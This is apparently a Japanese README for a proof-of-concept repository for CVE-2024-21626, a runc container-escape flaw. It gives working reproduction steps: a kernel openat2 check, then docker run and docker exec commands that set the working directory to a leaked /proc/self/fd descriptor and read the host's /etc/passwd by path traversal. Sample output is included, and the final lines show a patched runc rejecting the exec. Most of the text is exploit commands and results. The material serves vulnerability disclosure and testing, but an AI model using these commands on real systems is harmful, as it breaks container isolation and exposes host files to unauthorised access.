zhangguanzhang/cve-2024-21626CVE-2024-21626の概念実証エクスプロイト、Dockerコンテナ内で細工された作業ディレクトリを介してホストファイルシステムへのアクセスを許可するruncコンテナエスケープの脆弱性。
再現手順
カーネルが (5.4,4.19,..) 以上であり、/proc/kallsyms に openat2 が存在することを確認してください。v1.0.0-rc93<= runc <=1.1.11
$ grep openat2 /proc/kallsyms
ffffffffa64290d0 T __pfx___audit_openat2_how
ffffffffa64290e0 T __audit_openat2_how
ffffffffa666de90 t __pfx_do_sys_openat2
ffffffffa666dea0 t do_sys_openat2
ffffffffa666e020 t __pfx___do_sys_openat2
ffffffffa666e030 t __do_sys_openat2
ffffffffa666e150 T __pfx___x64_sys_openat2
ffffffffa666e160 T __x64_sys_openat2
ffffffffa666e190 T __pfx___ia32_sys_openat2
ffffffffa666e1a0 T __ia32_sys_openat2
ffffffffa69871e0 T __pfx_io_openat2_prep
ffffffffa69871f0 T io_openat2_prep
ffffffffa6987280 T __pfx_io_openat2
ffffffffa6987290 T io_openat2
ffffffffa863d1e0 d event_exit__openat2
ffffffffa863d260 d event_enter__openat2
ffffffffa863d2e0 d __syscall_meta__openat2
ffffffffa863d320 d args__openat2
ffffffffa863d340 d types__openat2
ffffffffa8affb48 d __event_exit__openat2
ffffffffa8affb50 d __event_enter__openat2
ffffffffa8b02b18 d __p_syscall_meta__openat2
ffffffffa8b056f0 d _eil_addr___ia32_sys_openat2
ffffffffa8b05700 d _eil_addr___x64_sys_openat2
ホストファイルを取得:
$ tail -n1 /etc/passwd
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
$ seq 10 | while read line;do docker run --rm -w /proc/self/fd/$line ubuntu tail -n1 ../../../../../etc/passwd |& grep -Ev Error ; done
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
fd番号を取得
$ seq 10 | while read line;do docker run --rm -w /proc/self/fd/$line -tid --name s-$line ubuntu ; done
$ docker ps -a | grep -P 's-\d$'
c171e8ac9a1a ubuntu "bash" About a minute ago Up About a minute s-7
私のマシンでは番号は7でした。古いコンテナでexecを実行:
$ docker exec -ti -w /proc/self/fd/7 xxxxx tail -n1 /proc/self/cwd/../../../../../etc/passwd
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
runcを置き換えた後:
$ cp runc.amd64 /usr/bin/runc
$ docker exec -ti -w /proc/self/fd/7 xxxxx tail -n1 /proc/self/cwd/../../../../../etc/passwd
OCI runtime exec failed: exec failed: unable to start container process: chdir to cwd ("/proc/self/fd/7") set in config.json failed: not a directory: unknown: Are you trying to mount a directory onto a file (or vice-versa)? Check if the specified host path exists and is the expected type